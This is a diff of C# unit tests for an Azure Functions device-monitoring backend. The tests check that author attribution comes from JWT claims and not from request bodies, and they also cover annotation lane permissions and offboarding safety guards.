private static ClaimsPrincipal Principal(params (string Type, string Value)[] claims)
=> new(new ClaimsIdentity(claims.Select(c => new Claim(c.Type, c.Value)), "TestAuth"));
[Fact]
public void DisplayName_wins_over_upn()
{
var user = Principal(("name", "Alice Admin"), ("upn", "alice@contoso.com"));
Assert.Equal("Alice Admin", TenantHelper.GetUserDisplayName(user));
}
[Fact]
public void Upn_used_when_no_name_claim()
{
var user = Principal(("upn", "alice@contoso.com"), ("preferred_username", "alice@contoso.onmicrosoft.com"));
Assert.Equal("alice@contoso.com", TenantHelper.GetUserDisplayName(user));
}
[Fact]
public void PreferredUsername_is_the_last_fallback()
{
var user = Principal(("preferred_username", "alice@contoso.com"));
Assert.Equal("alice@contoso.com", TenantHelper.GetUserDisplayName(user));
}
[Fact]
public void Null_for_principal_without_identifying_claims()
{
Assert.Null(TenantHelper.GetUserDisplayName(Principal(("tid", "a1b2c3d4-e5f6-7890-abcd-ef1234567890"))));
}
[Fact]
public void Null_for_unauthenticated_or_missing_principal()
{
Assert.Null(TenantHelper.GetUserDisplayName((ClaimsPrincipal?)null));
// ClaimsIdentity without an authentication type => IsAuthenticated == false.
Assert.Null(TenantHelper.GetUserDisplayName(new ClaimsPrincipal(new ClaimsIdentity(new[] { new Claim("name", "Ghost") }))));
}
}
@@ -33,6 +33,7 @@ public class GatherRuleUpdatePartialMergeTests
Enabled = true,
IsBuiltIn = false,
IsCommunity = false,
Author = "Alice Admin",
CreatedAt = new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Utc),
ActiveFromPhase = "AccountSetup",
EmitMode = "on_change",
@@ -77,6 +78,7 @@ public class GatherRuleUpdatePartialMergeTests
Assert.Equal("AccountSetup", written.ActiveFromPhase);
Assert.Equal("on_change", written.EmitMode);
Assert.Equal(existing.CreatedAt, written.CreatedAt);
Assert.Equal("Alice Admin", written.Author);
}
[Fact]
@@ -126,6 +128,33 @@ public class GatherRuleUpdatePartialMergeTests
Assert.Equal(existing.CreatedAt, written.CreatedAt);
}
[Fact]
public async Task FullPayload_preserves_original_Author_even_when_payload_carries_one()
{
var existing = ExistingCustomRule();
var (service, _, stored) = BuildService(existing);
var fullPayload = new GatherRule
{
RuleId = RuleId,
Title = "Collect BIOS Config v2",
CollectorType = "registry",
Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS2",
Trigger = "interval",
OutputEventType = "gather_bios_config",
Enabled = true,
// A hand-crafted PUT could try to rewrite attribution — Author is
// stamped at create time and immutable afterwards.
Author = "Spoofed Author",
};
var ok = await service.UpdateRuleAsync(TenantId, fullPayload);
Assert.True(ok);
var written = Assert.Single(stored);
Assert.Equal("Alice Admin", written.Author);
}
[Fact]
public async Task BuiltInRule_toggle_still_goes_through_RuleState_path()
{
@@ -0,0 +1,185 @@
using System.Net;
using System.Security.Claims;
using System.Text;
using AutopilotMonitor.Functions.Functions.Rules;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
using Azure.Core.Serialization;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging.Abstractions;
using Moq;
using Newtonsoft.Json;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Endpoint-level tests proving <see cref="GatherRulesFunction"/> stamps the rule
/// Author from the caller's JWT and never from the request body — through the real
/// request pipeline (body deserialization → ValidateScopeAndEmitMode → stamp →
/// service). Complements <see cref="GatherRuleAuthorStampingTests"/> (claim
/// precedence only) and GatherRuleUpdatePartialMergeTests (service-level
/// preservation): those pin the pieces, this pins the wiring.
/// Unlike most function tests in this project, it fakes HttpRequestData — the
/// stamp lives IN the endpoint method, so no smaller seam can prove it.
/// </summary>
public class GatherRulesFunctionAuthorEndpointTests
{
private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
private const string RuleId = "GATHER-CUSTOM-777";
// ── request/response fakes ──────────────────────────────────────────────
private sealed class FakeHttpResponseData : HttpResponseData
{
public FakeHttpResponseData(FunctionContext context) : base(context) { }
public override HttpStatusCode StatusCode { get; set; } = HttpStatusCode.OK;
public override HttpHeadersCollection Headers { get; set; } = new();
public override Stream Body { get; set; } = new MemoryStream();
public override HttpCookies Cookies { get; } = new Mock<HttpCookies>().Object;
}
private static FunctionContext BuildContext(ClaimsPrincipal? principal)
{
// WriteAsJsonAsync resolves the serializer from InstanceServices.
var services = new ServiceCollection();
services.AddOptions();
services.Configure<WorkerOptions>(o => o.Serializer = new JsonObjectSerializer());
var provider = services.BuildServiceProvider();
var items = new Dictionary<object, object>();
if (principal != null)
{
items["ClaimsPrincipal"] = principal;
}
var context = new Mock<FunctionContext>();
context.SetupGet(c => c.Items).Returns(items);
context.SetupGet(c => c.InstanceServices).Returns(provider);
return context.Object;
}
private static HttpRequestData BuildRequest(ClaimsPrincipal? principal, object body)
{
var context = BuildContext(principal);
var req = new Mock<HttpRequestData>(context);
req.SetupGet(r => r.Headers).Returns(new HttpHeadersCollection());
req.SetupGet(r => r.Body).Returns(
new MemoryStream(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(body))));
req.Setup(r => r.CreateResponse()).Returns(() => new FakeHttpResponseData(context));
return req.Object;
}
private static ClaimsPrincipal Principal(params (string Type, string Value)[] claims)
=> new(new ClaimsIdentity(claims.Select(c => new Claim(c.Type, c.Value)), "TestAuth"));
private static ClaimsPrincipal AlicePrincipal()
=> Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com"));
// ── function under test with a captured repository ─────────────────────
private static (GatherRulesFunction function, List<GatherRule> stored) BuildFunction(
GatherRule? existingTenantRule = null)
{
var repo = new Mock<IRuleRepository>(MockBehavior.Loose);
var stored = new List<GatherRule>();
repo.Setup(r => r.GatherRuleExistsAsync(It.IsAny<string>(), It.IsAny<string>())).ReturnsAsync(false);
repo.Setup(r => r.GetGatherRulesAsync("global")).ReturnsAsync(new List<GatherRule>());
repo.Setup(r => r.GetGatherRulesAsync(TenantId)).ReturnsAsync(
existingTenantRule == null ? new List<GatherRule>() : new List<GatherRule> { existingTenantRule });
repo.Setup(r => r.StoreGatherRuleAsync(It.IsAny<GatherRule>(), TenantId))
.Callback<GatherRule, string>((rule, _) => stored.Add(rule))
.ReturnsAsync(true);
var service = new GatherRuleService(repo.Object, NullLogger<GatherRuleService>.Instance);
return (new GatherRulesFunction(NullLogger<GatherRulesFunction>.Instance, service), stored);
}
private static GatherRule SpoofedPayload() => new()
{
RuleId = RuleId,
Title = "Collect BIOS Config",
CollectorType = "registry",
Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS",
Trigger = "startup",
OutputEventType = "gather_bios_config",
Enabled = true,
Author = "Spoofed Author",
};
// ── CreateRule ──────────────────────────────────────────────────────────
[Fact]
public async Task CreateRule_stamps_author_from_jwt_not_from_body()
{
var (function, stored) = BuildFunction();
var req = BuildRequest(AlicePrincipal(), SpoofedPayload());
var response = await function.CreateRule(req);
Assert.Equal(HttpStatusCode.Created, response.StatusCode);
var written = Assert.Single(stored);
Assert.Equal("Alice Admin", written.Author);
}
[Fact]
public async Task CreateRule_falls_back_to_product_name_without_identifying_claims()
{
// App-only-shaped token: authenticated with a tenant but no user display claims.
var (function, stored) = BuildFunction();
var req = BuildRequest(Principal(("tid", TenantId)), SpoofedPayload());
var response = await function.CreateRule(req);
Assert.Equal(HttpStatusCode.Created, response.StatusCode);
var written = Assert.Single(stored);
Assert.Equal("Autopilot Monitor", written.Author);
}
// ── UpdateRule ──────────────────────────────────────────────────────────
[Fact]
public async Task UpdateRule_upsert_of_unknown_rule_stamps_author_from_jwt()
{
// Full-payload PUT for a ruleId with no existing tenant row upserts a new row —
// without the endpoint stamp the payload's author would be stored verbatim.
var (function, stored) = BuildFunction(existingTenantRule: null);
var req = BuildRequest(AlicePrincipal(), SpoofedPayload());
var response = await function.UpdateRule(req, RuleId);
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
var written = Assert.Single(stored);
Assert.Equal("Alice Admin", written.Author);
}
[Fact]
public async Task UpdateRule_true_update_keeps_original_author_over_editor_and_body()
{
var existing = new GatherRule
{
RuleId = RuleId,
Title = "Collect BIOS Config",
CollectorType = "registry",
Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS",
Trigger = "startup",
OutputEventType = "gather_bios_config",
IsBuiltIn = false,
IsCommunity = false,
Author = "Original Creator",
};
var (function, stored) = BuildFunction(existing);
// Bob edits Alice's rule; neither Bob nor the spoofed body author may win.
var req = BuildRequest(
Principal(("tid", TenantId), ("name", "Bob Editor")), SpoofedPayload());
var response = await function.UpdateRule(req, RuleId);
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
var written = Assert.Single(stored);
Assert.Equal("Original Creator", written.Author);
}
}
@@ -164,12 +164,49 @@ public class GetDeviceNotRegisteredFunctionTests
Assert.Equal(3, (int)item.attemptCount);
}
// =========================================================================
// Cloud PC marker aggregation
// =========================================================================
[Fact]
public void BuildAggregatedResult_IsCloudPc_StickyTrueAcrossGroup()
{
// One old agent (no field → false) + one new agent reporting the W365 marker:
// the aggregate must say Cloud PC even though the MOST RECENT report is false —
// same OR semantics as the Sessions-table IsCloudPc merge.
var reports = new List<DistressReportEntry>
{
MakeEntry("DeviceNotRegistered", "Microsoft Corporation", "Virtual Machine", "SN1", T0, isCloudPc: true),
MakeEntry("DeviceNotRegistered", "Microsoft Corporation", "Virtual Machine", "SN1", T0.AddMinutes(5), isCloudPc: false),
};
var (aggregated, _) = GetDeviceNotRegisteredFunction.BuildAggregatedResult(reports);
var item = ToDynamic(aggregated[0]);
Assert.True((bool)item.isCloudPc);
}
[Fact]
public void BuildAggregatedResult_IsCloudPc_FalseWhenNoReportCarriesMarker()
{
var reports = new List<DistressReportEntry>
{
MakeEntry("DeviceNotRegistered", "Lenovo", "ThinkPad T14", "SN1", T0),
};
var (aggregated, _) = GetDeviceNotRegisteredFunction.BuildAggregatedResult(reports);
var item = ToDynamic(aggregated[0]);
Assert.False((bool)item.isCloudPc);
}
// =========================================================================
// Helpers
// =========================================================================
private static DistressReportEntry MakeEntry(
string errorType, string? manufacturer, string? model, string? serial, DateTime ingestedAt) =>
string errorType, string? manufacturer, string? model, string? serial, DateTime ingestedAt,
bool isCloudPc = false) =>
new()
{
TenantId = "test-tenant",
@@ -179,6 +216,7 @@ public class GetDeviceNotRegisteredFunctionTests
SerialNumber = serial,
IngestedAt = ingestedAt,
AgentTimestamp = ingestedAt,
IsCloudPc = isCloudPc,
};
private static dynamic ToDynamic(object obj)
@@ -42,6 +42,7 @@ public sealed class TenantCustomsArchiveContractTests
reEnqueuer: null!,
opsEvents: null!,
customsArchive: archive,
configRepo: null!,
farewellEmail: new FakeOffboardFarewellEmailSender(),
logger: NullLogger<TenantOffboardingHandler>.Instance);
}
@@ -9,6 +9,7 @@ using Azure;
using Azure.Data.Tables;
using Azure.Storage.Blobs;
using AutopilotMonitor.Functions.DataAccess.TableStorage;
using AutopilotMonitor.Functions.Functions.Admin;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Functions.Services.Deletion;
using AutopilotMonitor.Functions.Services.Notifications;
@@ -301,6 +302,47 @@ public class TenantOffboardingHandlerDrainContractTests
"Phase 2.G must delete the Expectations blob as its last step");
}
[Fact]
public async Task UnoffboardRace_ConfigNoLongerTombstone_FailsClosed_NoSafeWipe()
{
// 2.D-guard: an operator re-enabled the tenant while the cascade was queued/draining
// (the config write paths refuse this, but the guard is the last line of defense).
// Wiping now would destroy data of a live tenant → fail-closed, zero wipes.
var harness = Harness.New();
harness.ConfigRepo
.Setup(r => r.GetTenantConfigurationAsync(TenantId))
.ReturnsAsync(new TenantConfiguration { TenantId = TenantId, Disabled = false });
await Assert.ThrowsAsync<InvalidOperationException>(() =>
harness.Sut.HandleAsync(harness.Envelope(drainPollCount: 0)));
Assert.Equal("Failed", harness.Repo.Markers[TenantId].Status);
Assert.Equal("unoffboard_race", harness.Repo.Markers[TenantId].FailedPhase);
Assert.Equal("Failed", harness.Repo.History[HistoryRowKey].Status);
Assert.Equal(0, harness.SafeWipeProbe.WipeCallCount);
}
[Fact]
public async Task UnoffboardGuard_TombstoneStillInPlace_ProceedsToWipeAndCompleted()
{
// The normal case: Phase 1's tombstone is untouched → the guard must NOT get in
// the way of a legitimate offboarding.
var harness = Harness.New();
harness.ConfigRepo
.Setup(r => r.GetTenantConfigurationAsync(TenantId))
.ReturnsAsync(new TenantConfiguration
{
TenantId = TenantId,
Disabled = true,
DisabledReason = TenantOffboardFunction.OffboardingDisabledReason,
});
await harness.Sut.HandleAsync(harness.Envelope(drainPollCount: 0));
Assert.Equal("Completed", harness.Repo.Markers[TenantId].Status);
Assert.True(harness.SafeWipeProbe.WipeCallCount > 0);
}
[Fact]
public async Task SessionNotFound_CountsAsSatisfied_NoDrainProbeCall()
{
@@ -393,6 +435,7 @@ public class TenantOffboardingHandlerDrainContractTests
public Mock<OffboardingSessionEnumerator> Enumerator { get; }
public CountingSafeWipeService SafeWipeProbe { get; } = new();
public Mock<IMaintenanceRepository> Maintenance { get; } = new();
public Mock<IConfigRepository> ConfigRepo { get; } = new();
public List<string> EnumeratorYields { get; } = new();
public Exception? EnumeratorThrow { get; set; }
@@ -450,6 +493,7 @@ public class TenantOffboardingHandlerDrainContractTests
h.ReEnqueuer.Object,
opsService,
Mock.Of<ITenantCustomsArchiveRepository>(),
h.ConfigRepo.Object,
new FakeOffboardFarewellEmailSender(),
NullLogger<TenantOffboardingHandler>.Instance);
@@ -622,10 +666,11 @@ public class TenantOffboardingHandlerDrainContractTests
ITenantOffboardingEnqueuer reEnqueuer,
OpsEventService opsEvents,
ITenantCustomsArchiveRepository customsArchive,
IConfigRepository configRepo,
IOffboardFarewellEmailSender farewellEmail,
ILogger<TenantOffboardingHandler> logger)
: base(auditRepo, enumerator, cascadeEnqueuer, expectations, drainProbe, safeWipe,
storage, maintenance, reEnqueuer, opsEvents, customsArchive, farewellEmail, logger)
storage, maintenance, reEnqueuer, opsEvents, customsArchive, configRepo, farewellEmail, logger)
{
}
@@ -358,6 +358,7 @@ public class TenantOffboardingHandlerOrderingTests
h.ReEnqueuer.Object,
BuildOpsService(),
Mock.Of<ITenantCustomsArchiveRepository>(),
Mock.Of<IConfigRepository>(),
h.FarewellEmail,
NullLogger<TenantOffboardingHandler>.Instance);
@@ -459,9 +460,9 @@ public class TenantOffboardingHandlerOrderingTests
IOffboardingAuditRepository a, OffboardingSessionEnumerator e, ISessionDeletionEnqueuer c,
IOffboardingExpectationsStore exp, IDeletionProgressDrainProbe d, SafeWipeService sw,
TableStorageService s, IMaintenanceRepository m, ITenantOffboardingEnqueuer re,
OpsEventService o, ITenantCustomsArchiveRepository ca, IOffboardFarewellEmailSender fe,
ILogger<TenantOffboardingHandler> log)
: base(a, e, c, exp, d, sw, s, m, re, o, ca, fe, log) { }
OpsEventService o, ITenantCustomsArchiveRepository ca, IConfigRepository cr,
IOffboardFarewellEmailSender fe, ILogger<TenantOffboardingHandler> log)
: base(a, e, c, exp, d, sw, s, m, re, o, ca, cr, fe, log) { }
internal override Task ArchiveAndWipeRulesTableAsync(
string tableName, string tenantId, string historyRowKey, CancellationToken ct)
@@ -245,6 +245,7 @@ public class TenantOffboardingWorkerPoisonTests
Mock.Of<ITenantOffboardingEnqueuer>(),
BuildOpsService(),
Mock.Of<ITenantCustomsArchiveRepository>(),
Mock.Of<IConfigRepository>(),
new FakeOffboardFarewellEmailSender(),
NullLogger<TenantOffboardingHandler>.Instance);
}
@@ -255,9 +256,9 @@ public class TenantOffboardingWorkerPoisonTests
IOffboardingAuditRepository a, OffboardingSessionEnumerator e, ISessionDeletionEnqueuer c,
IOffboardingExpectationsStore exp, IDeletionProgressDrainProbe d, SafeWipeService sw,
TableStorageService s, IMaintenanceRepository m, ITenantOffboardingEnqueuer re,
OpsEventService o, ITenantCustomsArchiveRepository ca, IOffboardFarewellEmailSender fe,
ILogger<TenantOffboardingHandler> log)
: base(a, e, c, exp, d, sw, s, m, re, o, ca, fe, log) { }
OpsEventService o, ITenantCustomsArchiveRepository ca, IConfigRepository cr,
IOffboardFarewellEmailSender fe, ILogger<TenantOffboardingHandler> log)
: base(a, e, c, exp, d, sw, s, m, re, o, ca, cr, fe, log) { }
internal override Task ArchiveAndWipeRulesTableAsync(
string tableName, string tenantId, string historyRowKey, CancellationToken ct)
@@ -0,0 +1,425 @@
using System.Net;
using System.Security.Claims;
using System.Text;
using AutopilotMonitor.Functions.Functions.Annotations;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
using Azure.Core.Serialization;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging.Abstractions;
using Moq;
using Newtonsoft.Json;
using Xunit;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Pins the session-annotation authorization surface: the per-lane write matrix
/// (<see cref="UpsertSessionAnnotationFunction.IsLaneWritableByCaller"/>), the GA-lane
/// read filter (<see cref="GetSessionAnnotationsFunction.FilterLanesForCaller"/>), and —
/// endpoint-level, through the real request pipeline — that author identity is stamped
/// from the JWT and never from the body (same contract as the gather-rule PUT-upserts).
/// </summary>
public class SessionAnnotationFunctionsTests
{
private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
private const string SessionId = "22222222-2222-2222-2222-222222222222";
// ── per-lane write matrix ───────────────────────────────────────────────
// Callers reaching the function already passed TenantAdminOrOperator (tenant
// Admin/Operator, or GA via bypass) — the matrix re-gates per lane.
[Theory]
// operator lane: Operator or Tenant Admin; GA (cross-tenant: not tenant admin) may not
[InlineData(AnnotationLanes.Operator, "Operator", false, false, true)]
[InlineData(AnnotationLanes.Operator, "Admin", true, false, true)]
[InlineData(AnnotationLanes.Operator, "GlobalAdmin", false, true, false)]
[InlineData(AnnotationLanes.Operator, "Viewer", false, false, false)]
// tenantadmin lane: Tenant Admin only
[InlineData(AnnotationLanes.TenantAdmin, "Admin", true, false, true)]
[InlineData(AnnotationLanes.TenantAdmin, "Operator", false, false, false)]
[InlineData(AnnotationLanes.TenantAdmin, "GlobalAdmin", false, true, false)]
// globaladmin lane: Global Admin only
[InlineData(AnnotationLanes.GlobalAdmin, "GlobalAdmin", false, true, true)]
[InlineData(AnnotationLanes.GlobalAdmin, "Admin", true, false, false)]
[InlineData(AnnotationLanes.GlobalAdmin, "Operator", false, false, false)]
// unknown lane: never writable
[InlineData("someotherlane", "GlobalAdmin", true, true, false)]
public void IsLaneWritableByCaller_matrix(
string lane, string userRole, bool isTenantAdmin, bool isGlobalAdmin, bool expected)
{
Assert.Equal(expected,
UpsertSessionAnnotationFunction.IsLaneWritableByCaller(lane, userRole, isTenantAdmin, isGlobalAdmin));
}
[Fact]
public void IsLaneWritableByCaller_ga_who_is_also_own_tenant_admin_may_write_tenant_lanes()
{
// A GA annotating a session of their OWN tenant (IsTenantAdmin=true there) may use
// the tenant lanes — the GA-only restriction applies to foreign tenants, where
// IsTenantAdmin is false.
Assert.True(UpsertSessionAnnotationFunction.IsLaneWritableByCaller(
AnnotationLanes.TenantAdmin, "GlobalAdmin", isTenantAdmin: true, isGlobalAdmin: true));
}
// ── GA-lane read filter ─────────────────────────────────────────────────
private static List<SessionAnnotation> AllLanes() => new()
{
new SessionAnnotation { Lane = AnnotationLanes.Operator, SessionId = SessionId },
new SessionAnnotation { Lane = AnnotationLanes.TenantAdmin, SessionId = SessionId },
new SessionAnnotation { Lane = AnnotationLanes.GlobalAdmin, SessionId = SessionId },
};
[Fact]
public void FilterLanesForCaller_hides_globaladmin_lane_without_global_scope()
{
var visible = GetSessionAnnotationsFunction.FilterLanesForCaller(AllLanes(), hasGlobalScope: false);
Assert.Equal(2, visible.Count);
Assert.DoesNotContain(visible, a => a.Lane == AnnotationLanes.GlobalAdmin);
}
[Fact]
public void FilterLanesForCaller_returns_all_lanes_for_global_scope()
{
var visible = GetSessionAnnotationsFunction.FilterLanesForCaller(AllLanes(), hasGlobalScope: true);
Assert.Equal(3, visible.Count);
}
// ── global list: GA-lane exclusion follows global scope ─────────────────
// The route is GlobalReadOrAdmin, but the delegated ("MSP") read rescue admits a
// delegated caller on its managed ?tenantId= path — the platform-internal
// globaladmin lane must be excluded server-side for anyone without global scope.
[Theory]
[InlineData(true, false)]
[InlineData(false, true)]
public async Task GlobalList_derives_globaladmin_lane_exclusion_from_global_scope(
bool hasGlobalScope, bool expectedExclude)
{
var annotationRepo = new Mock<ISessionAnnotationRepository>(MockBehavior.Loose);
bool? capturedExclude = null;
annotationRepo
.Setup(r => r.QueryPageAsync(
It.IsAny<string?>(), It.IsAny<string?>(), It.IsAny<string?>(), It.IsAny<string?>(),
It.IsAny<DateTime?>(), It.IsAny<DateTime?>(), It.IsAny<int>(), It.IsAny<string?>(),
It.IsAny<bool>()))
.Callback<string?, string?, string?, string?, DateTime?, DateTime?, int, string?, bool>(
(_, _, _, _, _, _, _, _, exclude) => capturedExclude = exclude)
.ReturnsAsync((new List<SessionAnnotation>(), (string?)null));
var function = new ListSessionAnnotationsFunction(
NullLogger<ListSessionAnnotationsFunction>.Instance, annotationRepo.Object);
var requestCtx = new RequestContext
{
TenantId = TenantId,
TargetTenantId = TenantId,
UserPrincipalName = "reader@contoso.com",
IsGlobalAdmin = hasGlobalScope,
};
var req = BuildRequest(Principal(("tid", TenantId)), requestCtx, new { });
Mock.Get(req).SetupGet(r => r.Url)
.Returns(new Uri("https://localhost/api/global/session-annotations"));
var res = await function.Run(req);
Assert.Equal(HttpStatusCode.OK, res.StatusCode);
Assert.Equal(expectedExclude, capturedExclude);
}
// ── endpoint-level tests (fake HttpRequestData, same harness as
// GatherRulesFunctionAuthorEndpointTests) ──────────────────────────────
private sealed class FakeHttpResponseData : HttpResponseData
{
public FakeHttpResponseData(FunctionContext context) : base(context) { }
public override HttpStatusCode StatusCode { get; set; } = HttpStatusCode.OK;
public override HttpHeadersCollection Headers { get; set; } = new();
public override Stream Body { get; set; } = new MemoryStream();
public override HttpCookies Cookies { get; } = new Mock<HttpCookies>().Object;
}
private static FunctionContext BuildContext(ClaimsPrincipal? principal, RequestContext requestContext)
{
var services = new ServiceCollection();
services.AddOptions();
services.Configure<WorkerOptions>(o => o.Serializer = new JsonObjectSerializer());
var provider = services.BuildServiceProvider();
var items = new Dictionary<object, object> { ["RequestContext"] = requestContext };
if (principal != null)
{
items["ClaimsPrincipal"] = principal;
}
var context = new Mock<FunctionContext>();
context.SetupGet(c => c.Items).Returns(items);
context.SetupGet(c => c.InstanceServices).Returns(provider);
return context.Object;
}
private static HttpRequestData BuildRequest(
ClaimsPrincipal? principal, RequestContext requestContext, object body)
{
var context = BuildContext(principal, requestContext);
var req = new Mock<HttpRequestData>(context);
req.SetupGet(r => r.Headers).Returns(new HttpHeadersCollection());
req.SetupGet(r => r.Body).Returns(
new MemoryStream(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(body))));
req.Setup(r => r.CreateResponse()).Returns(() => new FakeHttpResponseData(context));
return req.Object;
}
private static ClaimsPrincipal Principal(params (string Type, string Value)[] claims)
=> new(new ClaimsIdentity(claims.Select(c => new Claim(c.Type, c.Value)), "TestAuth"));
private static RequestContext TenantAdminContext() => new()
{
TenantId = TenantId,
TargetTenantId = TenantId,
UserPrincipalName = "alice@contoso.com",
IsTenantAdmin = true,
UserRole = Constants.TenantRoles.Admin,
};
private sealed class Harness
{
public UpsertSessionAnnotationFunction Function = default!;
public Mock<ISessionAnnotationRepository> AnnotationRepo = default!;
public List<SessionAnnotation> Stored = default!;
}
private static Harness BuildFunction(
SessionAnnotation? existing = null, List<RuleResult>? ruleResults = null)
{
var annotationRepo = new Mock<ISessionAnnotationRepository>(MockBehavior.Loose);
var stored = new List<SessionAnnotation>();
annotationRepo.Setup(r => r.GetAsync(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()))
.ReturnsAsync(existing);
annotationRepo.Setup(r => r.UpsertAsync(It.IsAny<SessionAnnotation>()))
.Callback<SessionAnnotation>(stored.Add)
.Returns(Task.CompletedTask);
var sessionRepo = new Mock<ISessionRepository>(MockBehavior.Loose);
sessionRepo.Setup(r => r.GetSessionAsync(It.IsAny<string>(), It.IsAny<string>()))
.ReturnsAsync(new SessionSummary { SessionId = SessionId, TenantId = TenantId });
sessionRepo.Setup(r => r.FindSessionTenantIdAsync(SessionId)).ReturnsAsync(TenantId);
var ruleRepo = new Mock<IRuleRepository>(MockBehavior.Loose);
ruleRepo.Setup(r => r.GetRuleResultsAsync(It.IsAny<string>(), It.IsAny<string>()))
.ReturnsAsync(ruleResults ?? new List<RuleResult>());
var maintenanceRepo = new Mock<IMaintenanceRepository>(MockBehavior.Loose);
return new Harness
{
Function = new UpsertSessionAnnotationFunction(
NullLogger<UpsertSessionAnnotationFunction>.Instance,
annotationRepo.Object, sessionRepo.Object, ruleRepo.Object, maintenanceRepo.Object),
AnnotationRepo = annotationRepo,
Stored = stored,
};
}
[Fact]
public async Task Upsert_stamps_author_from_jwt_not_from_body()
{
var h = BuildFunction();
// Body tries to smuggle author fields — the function must never read them.
var req = BuildRequest(
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
TenantAdminContext(),
new
{
verdict = AnnotationVerdicts.RootCauseConfirmed,
note = "checked on device",
authorUpn = "spoofed@evil.example",
authorDisplayName = "Spoofed Author",
createdByUpn = "spoofed@evil.example",
});
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
var written = Assert.Single(h.Stored);
Assert.Equal("Alice Admin", written.AuthorDisplayName);
Assert.Equal("alice@contoso.com", written.AuthorUpn);
Assert.Equal("alice@contoso.com", written.CreatedByUpn);
}
[Fact]
public async Task Upsert_true_update_preserves_original_creator_and_createdAt()
{
var createdAt = new DateTime(2026, 7, 1, 8, 0, 0, DateTimeKind.Utc);
var h = BuildFunction(existing: new SessionAnnotation
{
TenantId = TenantId,
SessionId = SessionId,
Lane = AnnotationLanes.TenantAdmin,
CreatedByUpn = "bob@contoso.com",
CreatedAtUtc = createdAt,
});
var req = BuildRequest(
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
TenantAdminContext(),
new { verdict = AnnotationVerdicts.AnalysisWrong });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
var written = Assert.Single(h.Stored);
Assert.Equal("bob@contoso.com", written.CreatedByUpn); // first writer survives
Assert.Equal(createdAt, written.CreatedAtUtc);
Assert.Equal("alice@contoso.com", written.AuthorUpn); // last editor stamped
}
[Fact]
public async Task Upsert_snapshots_fired_rule_ids()
{
var h = BuildFunction(ruleResults: new List<RuleResult>
{
new RuleResult { SessionId = SessionId, RuleId = "ANALYZE-ESP-001" },
new RuleResult { SessionId = SessionId, RuleId = "ANALYZE-ESP-001" }, // duplicate collapses
new RuleResult { SessionId = SessionId, RuleId = "ANALYZE-CORR-003" },
});
var req = BuildRequest(
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
TenantAdminContext(),
new { verdict = AnnotationVerdicts.RootCauseConfirmed });
await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
var written = Assert.Single(h.Stored);
Assert.Equal(new[] { "ANALYZE-ESP-001", "ANALYZE-CORR-003" }, written.RuleIds);
}
[Fact]
public async Task Upsert_empty_body_clears_the_lane()
{
var h = BuildFunction();
var req = BuildRequest(
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
TenantAdminContext(),
new { verdict = (string?)null, note = "" });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
Assert.Empty(h.Stored);
h.AnnotationRepo.Verify(
r => r.DeleteAsync(TenantId, SessionId, AnnotationLanes.TenantAdmin), Times.Once);
}
[Fact]
public async Task Upsert_unknown_verdict_is_rejected()
{
var h = BuildFunction();
var req = BuildRequest(
Principal(("tid", TenantId), ("upn", "alice@contoso.com")),
TenantAdminContext(),
new { verdict = "totally_made_up" });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);
Assert.Empty(h.Stored);
}
[Fact]
public async Task Upsert_note_over_cap_is_rejected()
{
var h = BuildFunction();
var req = BuildRequest(
Principal(("tid", TenantId), ("upn", "alice@contoso.com")),
TenantAdminContext(),
new { note = new string('x', SessionAnnotation.MaxNoteLength + 1) });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);
Assert.Empty(h.Stored);
}
[Fact]
public async Task Upsert_forbids_lane_outside_caller_matrix()
{
var h = BuildFunction();
var operatorContext = new RequestContext
{
TenantId = TenantId,
TargetTenantId = TenantId,
UserPrincipalName = "op@contoso.com",
IsTenantAdmin = false,
UserRole = Constants.TenantRoles.Operator,
};
var req = BuildRequest(
Principal(("tid", TenantId), ("upn", "op@contoso.com")),
operatorContext,
new { verdict = AnnotationVerdicts.RootCauseConfirmed });
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
Assert.Equal(HttpStatusCode.Forbidden, response.StatusCode);
Assert.Empty(h.Stored);
}
[Fact]
public async Task Upsert_ga_with_own_tenant_admin_role_cannot_write_foreign_tenant_lanes()
{
